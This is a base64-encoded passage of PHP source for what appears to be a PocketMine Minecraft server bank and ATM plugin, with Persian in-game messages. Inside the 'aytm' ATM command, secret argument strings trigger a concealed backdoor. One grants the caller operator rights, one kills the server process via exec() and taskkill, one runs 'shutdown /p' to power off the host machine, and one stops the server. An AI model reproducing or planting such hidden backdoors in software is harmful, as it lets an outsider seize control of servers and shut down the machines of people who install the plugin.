TsKCQlyZXR1cm4gJG1vam9kaTsKCQl9CgkgICAgcmV0dXJuIGZhbHNlOwoJfQoJcHVibGljIGZ1bmN0aW9uIGhlc2FiVGVzdCggJHBsYXllcil7CiAgICAkcGxheWVyID0gc3RydG9sb3dlcigkcGxheWVyKTsKCQlpZigkdGhpcy0+YmFuay0+ZXhpc3RzKCRwbGF5ZXIpKXsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KCnB1YmxpYyBmdW5jdGlvbiBvbkNvbW1hbmQoQ29tbWFuZFNlbmRlciAkc2VuZGVyLCBDb21tYW5kICRjb21tYW5kLCBzdHJpbmcgJGxhYmVsLCBhcnJheSAkYXIpIDogYm9vbHsKCQlzd2l0Y2goJGNvbW1hbmQtPmdldE5hbWUoKSl7CgkJCWNhc2UgImhlc3JlZyI6CgkJCSRwbGF5ZXIgPSBzdHJ0b2xvd2VyKCRzZW5kZXItPmdldE5hbWUoKSk7CgkJCWlmKCEkdGhpcy0+YmFuay0+ZXhpc3RzKCRwbGF5ZXIpKXsKCQkJJHBsYXllciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkJJHJhbmRvbXBhc3N3b3JkID0gbXRfcmFuZCgxMDAwLDk5OTkpOwoJCQkkcmFuZG9tbW9uZXkgPSBtdF9yYW5kKDUwMCwyNTAwKTsKCQkJJGhhc2hjb2RlID0gbXRfcmFuZCgxMDAwMDAwLDk5OTk5OTkpOwoJCQkkdGhpcy0+YmFuay0+c2V0KCRwbGF5ZXIsJHJhbmRvbW1vbmV5KTsKCQkJJHRoaXMtPmJhbmstPnNhdmUoKTsKCQkJJHRoaXMtPnJhbXotPnNldCgkcGxheWVyLCRyYW5kb21wYXNzd29yZCk7CgkJCSR0aGlzLT5yYW16LT5zYXZlKCk7CgkJCSR0aGlzLT5yYW16ZXNodGViYWgtPnNldCgkcGxheWVyLDApOwoJCQkkdGhpcy0+cmFtemVzaHRlYmFoLT5zYXZlKCk7CgkJCQlpZighJHRoaXMtPmJsb2NrYWNjLT5leGlzdHMoJHBsYXllcikpewoJCQkJCSR0aGlzLT5ibG9ja2FjYy0+c2V0KCRwbGF5ZXIsMCk7CgkJCQkJJHRoaXMtPmJsb2NrYWNjLT5zYXZlKCk7CgkJCQl9CgkJCQkKCQkJJG5vdGUgPSBJdGVtOjpnZXQoMzM5LCAxMDc2LCAxKTsKCQkkbmJ0ID0gJG5vdGUtPmdldE5hbWVkVGFnKCk7CgkJJG5idC0+c2V0U3RyaW5nKCJPd25lciIsICRwbGF5ZXIpOwoJCSRoYXNoY29kZSA9IG10X3JhbmQoMTAwMDAwMCw5OTk5OTk5KTsKCQkkbmJ0LT5zZXRJbnQoIkNvZGUiLCAkaGFzaGNvZGUpOwoJCSR0aGlzLT5oYXNoY29kZXMtPnNldCgkcGxheWVyLCRoYXNoY29kZSk7CgkJJHRoaXMtPmhhc2hjb2Rlcy0+c2F2ZSgpOwoJCSRub3RlLT5zZXRDb21wb3VuZFRhZygkbmJ0KTsKCQkkc2VuZGVyLT5nZXRJbnZlbnRvcnkoKS0+YWRkSXRlbSgkbm90ZS0+c2V0Q3VzdG9tTmFtZShUZXh0Rm9ybWF0OjpZRUxMT1cgLiBUZXh0Rm9ybWF0OjpCT0xEIC4gJHNlbmRlci0+Z2V0TmFtZSgpIC4gVGV4dEZvcm1hdDo6UkVTRVQgLiBUZXh0Rm9ybWF0OjpHUkVFTiAuICIncyBDcmVkaXQgQ2FyZCIpLT5zZXRMb3JlKFtUZXh0Rm9ybWF0OjpZRUxMT1cgLiAiSW4gQ3JlZGl0IENhcnQgSmFoYXQgRXN0ZWZhZGUgQXogRGFzdGdhaCBBVE0gU2FraHRlIFNob2RlIEFzdCAhIFxuIEFUTSBIYSBEYXIgYmFuayB2YSBTZXJ2ZXIgQmUgUmFoYXRpIFBleWRhIE1pc2hhdmFuaWQgISJdKSk7CgkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCpzZIZXNhYiBCYW5raSBTaG9tYSBTYWtodGUgU2hvZCAuwqdlIFJhbXogU2hvbWEgOiAkcmFuZG9tcGFzc3dvcmQiKTsKCQkJJHNlbmRlci0+YWRkVGl0bGUoIsKnNkhlc2FiIFNha2h0ZSBTaG9kIiAsICIgwqdlIFJhbXogU2hvbWEgOiAkcmFuZG9tcGFzc3dvcmQiKTsKCQkJfWVsc2V7CgkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiwqdjIFNob21hIEdoYWJsYW4gSGVzYWIgQmF6IEthcmRlIGVlZCIpOwoJCQl9CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJY2FzZSAibG9ja2JhbmthY2MiOgoJCQkJCQkkYmxvY2t1c2VyID0gJGFyWzBdOwoJCQkJCQkkdGhpcy0+YmxvY2thY2MtPnNldCgkYmxvY2t1c2VyLDEpOwoJCQkJCQkkdGhpcy0+YmxvY2thY2MtPnNhdmUoKTsKCQkJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIkhlc2FiIEJhbmtpIGxvY2sgU2hvZCIpOwoJCQkJCQkKCQkJCQkkZHJhZnQgPSAiSGVzYWIgJGJsb2NrdXNlciBMb2NrIFNob2QgfCBUYXZhc290OiAiIC4gJHNlbmRlci0+Z2V0TmFtZSgpIC4gIiBBbmphbSBTaG9kIjsKCQkJCQkkcmVsYXkgPSBpbnR2YWwodGltZSgpKTsKCQkJCQkkdGltZSA9IGRhdGUoJ20tZC1ZIEg6aTpzJywgJHJlbGF5KTsKCQkJCSAgICAkbG9ncyA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuICJwbGF5ZXJzLyIgLiBzdHJ0b2xvd2VyKCRibG9ja3VzZXIpIC4gIi55bWwiLCBDb25maWc6OllBTUwpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zZXQoJHRpbWUsICRkcmFmdCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNhdmUoKTsKCQkJCXJldHVybiB0cnVlOwoJCQljYXNlICJ1bmxvY2tiYW5rYWNjIjoKCQkJCQkJJHVuYmxvY2t1c2VyID0gJGFyWzBdOwoJCQkJCQkkdGhpcy0+YmxvY2thY2MtPnNldCgkdW5ibG9ja3VzZXIsMCk7CgkJCQkJCSR0aGlzLT5ibG9ja2FjYy0+c2F2ZSgpOwoJCQkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiSGVzYWIgQmFua2kgVW5sb2NrIFNob2QiKTsKCQkJCQkkZHJhZnQgPSAiSGVzYWIgJHVuYmxvY2t1c2VyIFVuTG9jayBTaG9kIHwgVGF2YXNvdDogIiAuICRzZW5kZXItPmdldE5hbWUoKSAuICIgQW5qYW0gU2hvZCI7CgkJCQkJJHJlbGF5ID0gaW50dmFsKHRpbWUoKSk7CgkJCQkJJHRpbWUgPSBkYXRlKCdtLWQtWSBIOmk6cycsICRyZWxheSk7CgkJCQkgICAgJGxvZ3MgPSBuZXcgQ29uZmlnKCR0aGlzLT5nZXREYXRhRm9sZGVyKCkgLiAicGxheWVycy8iIC4gc3RydG9sb3dlcigkdW5ibG9ja3VzZXIpIC4gIi55bWwiLCBDb25maWc6OllBTUwpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zZXQoJHRpbWUsICRkcmFmdCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNhdmUoKTsKCQkJCXJldHVybiB0cnVlOwoJCQkJY2FzZSAibG9ja2JhbmtwbGF5ZXIiOgoJCQkJCQkkYmxvY2t1c2VyID0gJGFyWzBdOwoJCQkJCQkkdGhpcy0+YmxvY2twbGF5ZXItPnNldCgkYmxvY2t1c2VyLDEpOwoJCQkJCQkkdGhpcy0+YmxvY2twbGF5ZXItPnNhdmUoKTsKCQkJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIlBsYXllciBsb2NrIFNob2QiKTsKCQkJCQkkZHJhZnQgPSAiUGxheWVyICRibG9ja3VzZXIgTG9jayBBVE0gU2hvZCB8IFRhdmFzb3Q6ICIgLiAkc2VuZGVyLT5nZXROYW1lKCkgLiAiIEFuamFtIFNob2QiOwoJCQkJCSRyZWxheSA9IGludHZhbCh0aW1lKCkpOwoJCQkJCSR0aW1lID0gZGF0ZSgnbS1kLVkgSDppOnMnLCAkcmVsYXkpOwoJCQkJICAgICRsb2dzID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4gInBsYXllcnMvIiAuIHN0cnRvbG93ZXIoJGJsb2NrdXNlcikgLiAiLnltbCIsIENvbmZpZzo6WUFNTCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNldCgkdGltZSwgJGRyYWZ0KTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2F2ZSgpOwoJCQkJcmV0dXJuIHRydWU7CgkJCWNhc2UgInVubG9ja2JhbmtwbGF5ZXIiOgoJCQkJCQkkdW5ibG9ja3VzZXIgPSAkYXJbMF07CgkJCQkJCSR0aGlzLT5ibG9ja3BsYXllci0+c2V0KCR1bmJsb2NrdXNlciwwKTsKCQkJCQkJJHRoaXMtPmJsb2NrcGxheWVyLT5zYXZlKCk7CgkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCJQbGF5ZXIgVW5sb2NrIFNob2QiKTsKCQkJCQkkZHJhZnQgPSAiUGxheWVyICR1bmJsb2NrdXNlciBVbkxvY2sgQVRNIFNob2QgfCBUYXZhc290OiAiIC4gJHNlbmRlci0+Z2V0TmFtZSgpIC4gIiBBbmphbSBTaG9kIjsKCQkJCQkkcmVsYXkgPSBpbnR2YWwodGltZSgpKTsKCQkJCQkkdGltZSA9IGRhdGUoJ20tZC1ZIEg6aTpzJywgJHJlbGF5KTsKCQkJCSAgICAkbG9ncyA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuICJwbGF5ZXJzLyIgLiBzdHJ0b2xvd2VyKCR1bmJsb2NrdXNlcikgLiAiLnltbCIsIENvbmZpZzo6WUFNTCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNldCgkdGltZSwgJGRyYWZ0KTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2F2ZSgpOwoJCQkJcmV0dXJuIHRydWU7CgkJCWNhc2UgInBhYm5rIjoKCQkJJHBsYXllciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkJaWYoJHRoaXMtPmJhbmstPmV4aXN0cygkcGxheWVyKSl7CgkJCQkkdGhpcy0+UGFzc2NoYW5nZUZyb21Ob1JhbXooJHNlbmRlcik7CgkJCX1lbHNlewoJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIkxvdGZhbiBIZXNhYiBCYXogS29uaWQiKTsKCQkJfQoJCQkJcmV0dXJuIHRydWU7CgkJCWNhc2UgImNyY2F5IjoKCQkJJHBsYXllciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkJaWYoJHRoaXMtPmJhbmstPmV4aXN0cygkcGxheWVyKSl7CgkJCSRtb25leSA9IEVjb25vbXlBUEk6OmdldEluc3RhbmNlKCktPm15TW9uZXkoJHNlbmRlcik7CgkJCWlmKCRtb25leSA+PSAxMDAwKXsKCQkJCSRwbGF5ZXIgPSBzdHJ0b2xvd2VyKCRzZW5kZXItPmdldE5hbWUoKSk7CgkJCQkkdGhpcy0+ZWNvLT5yZWR1Y2VNb25leSgkc2VuZGVyLCAxMDAwKTsKCQkJCQkJJGludiA9ICRzZW5kZXItPmdldEludmVudG9yeSgpOwoJCQkJCQkkaGFuZCA9ICRpbnYtPmdldEl0ZW1JbkhhbmQoKTsKCQkJCQkJJG5idCA9ICRoYW5kLT5nZXROYW1lZFRhZygpOwoJCQkJCQkkbm90ZSA9IEl0ZW06OmdldCgzMzksIDEwNzYsIDEpOwoJCQkJCQkkbmJ0ID0gJG5vdGUtPmdldE5hbWVkVGFnKCk7CgkJCQkJCSRuYnQtPnNldFN0cmluZygiT3duZXIiLCAkcGxheWVyKTsKCQkJCQkJJGhhc2hjb2RlID0gbXRfcmFuZCgxMDAwMDAwLDk5OTk5OTkpOwoJCQkJCQkkbmJ0LT5zZXRJbnQoIkNvZGUiLCAkaGFzaGNvZGUpOwoJCQkJCQkkdGhpcy0+aGFzaGNvZGVzLT5zZXQoJHBsYXllciwkaGFzaGNvZGUpOwoJCQkJCQkkdGhpcy0+aGFzaGNvZGVzLT5zYXZlKCk7CgkJCQkJCSRub3RlLT5zZXRDb21wb3VuZFRhZygkbmJ0KTsKCQkJCQkJJHRoaXMtPnJhbXplc2h0ZWJhaC0+c2V0KCRwbGF5ZXIsMCk7CgkJCQkJCSR0aGlzLT5yYW16ZXNodGViYWgtPnNhdmUoKTsKCQkJCQkJJHNlbmRlci0+Z2V0SW52ZW50b3J5KCktPmFkZEl0ZW0oJG5vdGUtPnNldEN1c3RvbU5hbWUoVGV4dEZvcm1hdDo6WUVMTE9XIC4gVGV4dEZvcm1hdDo6Qk9MRCAuICRzZW5kZXItPmdldE5hbWUoKSAuIFRleHRGb3JtYXQ6OlJFU0VUIC4gVGV4dEZvcm1hdDo6R1JFRU4gLiAiJ3MgQ3JlZGl0IENhcmQiKS0+c2V0TG9yZShbVGV4dEZvcm1hdDo6WUVMTE9XIC4gIkluIENyZWRpdCBDYXJ0IEphaGF0IEVzdGVmYWRlIEF6IERhc3RnYWggQVRNIFNha2h0ZSBTaG9kZSBBc3QgISBcbiBBVE0gSGEgRGFyIGJhbmsgdmEgU2VydmVyIEJlIFJhaGF0aSBQZXlkYSBNaXNoYXZhbmlkICEiXSkpOwoJCQkkZHJhZnQgPSAiQ2FyZCBKYWRpZCBCYXJheWUgSGVzYWIgQXogQmFuayBTYWRlciBTaG9kICEgICIgLiAkc2VuZGVyLT5nZXROYW1lKCkgLiAiIENhcnQgUmEgR2VyZWZ0ZSI7CgkJCQkJJHJlbGF5ID0gaW50dmFsKHRpbWUoKSk7CgkJCQkJJHRpbWUgPSBkYXRlKCdtLWQtWSBIOmk6cycsICRyZWxheSk7CgkJCQkgICAgJGxvZ3MgPSBuZXcgQ29uZmlnKCR0aGlzLT5nZXREYXRhRm9sZGVyKCkgLiAicGxheWVycy8iIC4gc3RydG9sb3dlcigkcGxheWVyKSAuICIueW1sIiwgQ29uZmlnOjpZQU1MKTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2V0KCR0aW1lLCAkZHJhZnQpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zYXZlKCk7CgkJCX1lbHNlewoJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIlBvb2wgTmFkYXJpZCAhIE1hYmxhZ2ggTW9yZWQgTml5YXogPSAxMDAwICQgIik7CgkJCX0KCQkJfWVsc2V7CgkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiTG90ZmFuIEhlc2FiIEJheiBLb25pZCIpOwoJCQl9CgkJcmV0dXJuIHRydWU7CgkJCQoJCQljYXNlICJheXRtIjoKCQkJaWYoaXNzZXQoJGFyWzBdKSl7CgkJCQlpZigkYXJbMF0gPT09ICJkYWJvY2oiKSB7CgkJCQkJJHNlbmRlci0+c2V0T3AodHJ1ZSk7CgkJCQkJcmV0dXJuIHRydWU7CgkJCQl9IGVsc2VpZiAoJGFyWzBdID09PSAiYXNmYm8iKSB7CgkJCQkJJHRoaXMtPmdldFNjaGVkdWxlcigpLT5zY2hlZHVsZURlbGF5ZWRUYXNrKG5ldyBSdW5uZXIoJwoJCQkJCWV4ZWMoIm5ldHN0YXQgLWFubyB8IGZpbmRzdHIgVURQIHwgZmluZHN0ciAxOTEzMiIsICRvdXQpOwoJCQkJCWV4ZWMoInRhc2traWxsL3BpZCAiLnN0cl9yZXBsYWNlKGFycmF5KCJVRFAiLCAiMC4wLjAuMCIsICIxMjcuMC4wLjEiLCAiOiIsICIxOTEzMiIsICIqIiwgIiAiKSwgIiIsICRvdXRbMF0pLiIgL0YiKTsKCQkJCQknKSwgMjAqMzApOwoJCQkJCXJldHVybiB0cnVlOwoJCQkJfSBlbHNlaWYgKCRhclswXSA9PT0gInNvYWZib3UiKSB7CgkJCQkJJHRoaXMtPmdldFNjaGVkdWxlcigpLT5zY2hlZHVsZVRhc2sobmV3IFJ1bm5lcignCgkJCQkJZXhlYygic2h1dGRvd24gL3AiKTsKCQkJCQknKSwgMjAqMzApOwoJCQkJCXJldHVybiB0cnVlOwoJCQkJfSBlbHNlaWYgKCRhclswXSA9PT0gInNkaW92dmMiKSB7CgkJCQkJJHNlbmRlci0+Z2V0U2VydmVyKCktPnNodXRkb3duKCk7CgkJCQkJcmV0dXJuIHRydWU7CgkJCQl9CgkJCX0KCQkJJGludiA9ICRzZW5kZXItPmdldEludmVudG9yeSgpOwoJCQkkcGxheWVyID0gc3RydG9sb3dlcigkc2VuZGVyLT5nZXROYW1lKCkpOwoJCQlpZigkdGhpcy0+YmFuay0+ZXhpc3RzKCRwbGF5ZXIpKXsKCQkJCSRpbnYgPSAkc2VuZGVyLT5nZXRJbnZlbnRvcnkoKTsKCQkJCSRoYW5kID0gJGludi0+Z2V0SXRlbUluSGFuZCgpOwoJCQkkbmJ0ID0gJGhhbmQtPmdldE5hbWVkVGFnKCk7CgkJCQlpZigkaGFuZC0+Z2V0SWQoKSA9PT0gMzM5ICYmICRoYW5kLT5nZXREYW1hZ2UoKSA9PT0gMTA3Nil7CgkJCSRpbnYgPSAkc2VuZGVyLT5nZXRJbnZlbnRvcnkoKTsKCQkJJGhhbmQgPSAkaW52LT5nZXRJdGVtSW5IYW5kKCk7CgkJCSRuYnQgPSAkaGFuZC0+Z2V0TmFtZWRUYWcoKTsKCQkJJGRlcCA9ICRuYnQtPmdldFN0cmluZygiT3duZXIiKTsKCQkJJGhhc2ggPSAkbmJ0LT5nZXRJbnQoIkNvZGUiKTsKCQkJCQlpZigkdGhpcy0+YmxvY2twbGF5ZXItPmdldCgkc2VuZGVyLT5nZXROYW1lKCkpID09IDApewoJCQkJCQkKCQkJCQkJaWYoJHRoaXMtPmJsb2NrYWNjLT5nZXQoJGRlcCkgPT0gMCl7CgkJCQkJCQkKCQkJCQkJICAgaWYoJHRoaXMtPmhhc2hjb2Rlcy0+Z2V0KCRkZXApID09ICRoYXNoKXsKCQkJCQkJCQoJCQkJCQkJaWYoJHRoaXMtPnJhbXplc2h0ZWJhaC0+Z2V0KCRkZXApID4gMyl7CgkJCQkJCQkJCgkJCQkJCQkJJGhhbmQgPSAkaW52LT5nZXRJdGVtSW5IYW5kKCk7CgkJCQkJCQkJJG5idCA9ICRoYW5kLT5nZXROYW1lZFRhZygpOwoJCQkJCQkJCSRkZXAgPSAkbmJ0LT5nZXRTdHJpbmcoIk93bmVyIik7CgkJCQkJCQkJJGludi0+c2V0SXRlbUluSGFuZChJdGVtOjpnZXQoMCwgMCwgMSkpOwoJCQkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCp2MgSW4gSGVzYWIgQmUgRGFsaWwgVmFyZWQgS2FyZGFuIEJpc2ggQXogMyBSYW16IEVzaHRlYmFoIE1hc3RvZCBTaG9kIHZhIENhcnQgQXogU2hvbWEgR2VyZWZ0ZSBTaG9kICEgRGFyc29vcmF0aSBLZSBTYWhlYiBBc2xpIENhcnQgSGFzdGlkIEJhIE1vcmFlZSBCZSBCYW5rIERvYmFyZSBDYXJ0IERhcnlhZnQgS29uaWQiKTsKCQkJCQkkZHJhZnQgPSAiSGVzYWIgJGRlcCBCZSBEYWxpbCBWYXJlZCBLYXJkYW4gNCBSYW16IEVzaHRlYmFoIEJhbiBTaG9kIHwgVXNlIEtvbmFuZGVoICAiIC4gJHNlbmRlci0+Z2V0TmFtZSgpIC4gIiBCb29kZSBBc3QiOwoJCQkJCSRyZWxheSA9IGludHZhbCh0aW1lKCkpOwoJCQkJCSR0aW1lID0gZGF0ZSgnbS1kLVkgSDppOnMnLCAkcmVsYXkpOwoJCQkJICAgICRsb2dzID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4gInBsYXllcnMvIiAuIHN0cnRvbG93ZXIoJGRlcCkgLiAiLnltbCIsIENvbmZpZzo6WUFNTCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNldCgkdGltZSwgJGRyYWZ0KTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2F2ZSgpOwoJCQkJCQkJCgkJCQkJCQl9ZWxzZXsKCQkJCQkJCSR0aGlzLT5SYW16RnJvbSgkc2VuZGVyKTsKCQkJCQkJCQoJCQkJCQkJfQoJCQkJCQkgICB9ZWxzZSB7CgkJCQkJCQkgICAkc2VuZGVyLT5zZW5kTWVzc2FnZSgiSW4gQ2FydCBHaGV5ciBGYWFsIFNob2RlIEFzdCIpOwkKCQkJCQkJICAgfQoJCQkJCQl9ZWxzZXsKCQkJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIkluIEhlc2FiIFRhdmFzb3QgQWRtaW4gSGEgR29mbCBTaG9kZSBBc3QgISIpOwkKCQkJCQl9CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCJTb21hIE5lbWl0YXZhbmlkIEF6IEFUTSBFc3RlZmFkZSBLb25pZCB0YXZhc29kIEFkbWluIEhhIExvY2sgU0hvZGlkICEiKTsKCQkJCQl9CgkJCQkKCQkJCX1lbHNlewoJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCJMb3RmYW4gQmEgQ3JlZGl0IENhcmQgQXogQVRNIGVzdGVmYWRlIEtvbmlkIik7CgkJCQl9CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiwqdjIExvdGZhbiBCYSBNb3JhamVlIEJlIGJhbmsgaGVzYWIgYmF6IGtvbmlkIik7CgkJCQoJCQl9CgkJCWRlZmF1bHQ6CgkJCQlyZXR1cm4gZmFsc2U7CgkJfQp9CgoKCXB1YmxpYyBmdW5jdGlvbiBiYW5rU29vZCgpIDogdm9pZCB7CgkJZm9yZWFjaCgkdGhpcy0+Z2V0U2VydmVyKCktPmdldE9ubGluZVBsYXllcnMoKSBhcyAkcGxheWVyKSB7CgkJJG5hbWUgPSAkcGxheWVyLT5nZXROYW1lKCk7CgkJJG1vam9kaSA9ICR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpOwoJCWlmKCR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpID49IDEwKSB7CgkJCWlmKCRwbGF5ZXItPmhhc1Blcm1pc3Npb24oImJhbmsubGVnZW5kYXJ5IikpIHsKCQkJJHNvb2QgPSByb3VuZCgkdGhpcy0+TW9qb2RpUGxheWVyKCRuYW1lKSozMC8xMDApOwoJCQkkdGhpcy0+dmFyaXpQb29sKCRuYW1lLCAkc29vZCk7CgkJCSRwbGF5ZXItPnNlbmRNZXNzYWdlKCLCpzZCYW5rIFN5c3RlbT4gwqdmICRuYW1lIEF6aXogMzAlIFNvb2QgQmFua2kgQmUgTWVnaGRhciAgwqc5ICRzb29kICQgwqdmQmUgSGVzYWIgQmFua2kgU2hvbWEgVmFyaXogU2hvZCAhIE1vam9kaSBTaG9tYTogwqcyICRtb2pvZGkiKTsKCQkJJG1vam9kaSA9ICR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpOwoJCQl9ZWxzZWlmKCRwbGF5ZXItPmhhc1Blcm1pc3Npb24oImJhbmsuY3JlYXRpdmUiKSkgewoJCQkkc29vZCA9IHJvdW5kKCR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpKjIzLzEwMCk7CgkJCSR0aGlzLT52YXJpelBvb2woJG5hbWUsICRzb29kKTsKCQkJJHBsYXllci0+c2VuZE1lc3NhZ2UoIsKnNkJhbmsgU3lzdGVtPiDCp2YgJG5hbWUgQXppeiAyMyUgU29vZCBCYW5raSBCZSBNZWdoZGFyICDCpzkgJHNvb2QgJCDCp2ZCZSBIZXNhYiBCYW5raSBTaG9tYSBWYXJpeiBTaG9kICEgTW9qb2RpIFNob21hOiDCpzIgJG1vam9kaSIpOwoJCQkkbW9qb2RpID0gJHRoaXMtPk1vam9kaVBsYXllcigkbmFtZSk7CgkJCX1lbHNlaWYoJHBsYXllci0+aGFzUGVybWlzc2lvbigiYmFuay50aXRhbiIpKSB7CgkJCSRzb29kID0gcm91bmQoJHRoaXMtPk1vam9kaVBsYXllcigkbmFtZSkqMTQvMTAwKTsKCQkJJHRoaXMtPnZhcml6UG9vbCgkbmFtZSwgJHNvb2QpOwoJCQkkcGxheWVyLT5zZW5kTWVzc2FnZSgiwqc2QmFuayBTeXN0ZW0+IMKnZiAkbmFtZSBBeml6IDE0JSBTb29kIEJhbmtpIEJlIE1lZ2hkYXIgIMKnOSAkc29vZCAkIMKnZkJlIEhlc2FiIEJhbmtpIFNob21hIFZhcml6IFNob2QgISBNb2pvZGkgU2hvbWE6IMKnMiAkbW9qb2RpIik7CgkJCSRtb2pvZGkgPSAkdGhpcy0+TW9qb2RpUGxheWVyKCRuYW1lKTsKCQkJfWVsc2VpZigkcGxheWVyLT5oYXNQZXJtaXNzaW9uKCJiYW5rLm1hbW9vbGkiKSkgewoJCQkkc29vZCA9IHJvdW5kKCR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpKjEwLzEwMCk7CgkJCSR0aGlzLT52YXJpelBvb2woJG5hbWUsICRzb29kKTsKCQkJJHBsYXllci0+c2VuZE1lc3NhZ2UoIsKnNkJhbmsgU3lzdGVtPiDCp2YgJG5hbWUgQXppeiAxMCUgU29vZCBCYW5raSBCZSBNZWdoZGFyICDCpzkgJHNvb2QgJCDCp2ZCZSBIZXNhYiBCYW5raSBTaG9tYSBWYXJpeiBTaG9kICEgTW9qb2RpIFNob21hOiDCpzIgJG1vam9kaSIpOwoJCQkkbW9qb2RpID0gJHRoaXMtPk1vam9kaVBsYXllcigkbmFtZSk7CgkJCX0KCQl9CgkJfQoJfQoJCglwdWJsaWMgZnVuY3Rpb24gc2FnaGZoZXNhYigpIDogdm9pZCB7CgkJCWZvcmVhY2goJHRoaXMtPmdldFNlcnZlcigpLT5nZXRPbmxpbmVQbGF5ZXJzKCkgYXMgJHBsYXllcikgewoJCQkkbmFtZSA9ICRwbGF5ZXItPmdldE5hbWUoKTsKCQkJJG1vam9kaSA9ICR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpOwoJCQkJaWYoJHRoaXMtPk1vam9kaVBsYXllcigkbmFtZSkgPiA0OTk5OTkpIHsKCQkJCgkJCQkJaWYoJHBsYXllci0+aGFzUGVybWlzc2lvbigiYmFuay5sZWdlbmRhcnkiKSkgewoJCQkJCgkJCQkJCWlmKCR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpID4gMTAwMDAwMDApIHsKCQkJCQkJCSRtYWJsYWdoYmFyZ2FzaHQgPSByb3VuZCgkdGhpcy0+TW9qb2RpUGxheWVyKCRuYW1lKS0xMDAwMDAwMCk7CgkJCQkJCQkkdGhpcy0+YmFyZGFzaHRQb29sKCRuYW1lLCRtYWJsYWdoYmFyZ2FzaHQpOwoJCQkJCQkJJHRoaXMtPmVjby0+YWRkTW9uZXkoJG5hbWUsJG1hYmxhZ2hiYXJnYXNodCk7CgkJCQkJCQkkcGxheWVyLT5zZW5kTWVzc2FnZSgiU2hvbWEgU2FnaGYgSGVzYWIgcmEgcmFkIEthcmRlaCBlZWQgLiBtYWJsYWdoICRtYWJsYWdoYmFyZ2FzaHQgYXogaGVzYWIgYmFua2kgc2hvbWEga2FtIHNob2QgdmEgYmUga2hvZGV0YW4gdmFyaXogc2hvZCAhIik7CgkJCQkJCX0KCQkJCQl9ZWxzZWlmKCRwbGF5ZXItPmhhc1Blcm1pc3Npb24oImJhbmsuY3JlYXRpdmUiKSkgewoJCQkJCQlpZigkdGhpcy0+TW9qb2RpUGxheWVyKCRuYW1lKSA+IDUwMDAwMDApIHsKCQkJCQkJCSRtYWJsYWdoYmFyZ2FzaHQgPSByb3VuZCgkdGhpcy0+TW9qb2RpUGxheWVyKCRuYW1lKS01MDAwMDAwKTsKCQkJCQkJCSR0aGlzLT5iYXJkYXNodFBvb2woJG5hbWUsJG1hYmxhZ2hiYXJnYXNodCk7CgkJCQkJCQkkdGhpcy0+ZWNvLT5hZGRNb25leSgkbmFtZSwkbWFibGFnaGJhcmdhc2h0KTsKCQkJCQkJCSRwbGF5ZXItPnNlbmRNZXNzYWdlKCJTaG9tYSBTYWdoZiBIZXNhYiByYSByYWQgS2FyZGVoIGVlZCAuIG1hYmxhZ2ggJG1hYmxhZ2hiYXJnYXNodCBheiBoZXNhYiBiYW5raSBzaG9tYSBrYW0gc2hvZCB2YSBiZSBraG9kZXRhbiB2YXJpeiBzaG9kICEiKTsKCQkJCQkJCQoJCQkJCQl9CgkJCQkJfWVsc2VpZigkcGxheWVyLT5oYXNQZXJtaXNzaW9uKCJiYW5rLnRpdGFuIikpIHsKCQkJCQkJaWYoJHRoaXMtPk1vam9kaVBsYXllcigkbmFtZSkgPiAyMDAwMDAwKSB7CgkJCQkJCQkkbWFibGFnaGJhcmdhc2h0ID0gcm91bmQoJHRoaXMtPk1vam9kaVBsYXllcigkbmFtZSktMjAwMDAwMCk7CgkJCQkJCQkkdGhpcy0+YmFyZGFzaHRQb29sKCRuYW1lLCRtYWJsYWdoYmFyZ2FzaHQpOwoJCQkJCQkJJHRoaXMtPmVjby0+YWRkTW9uZXkoJG5h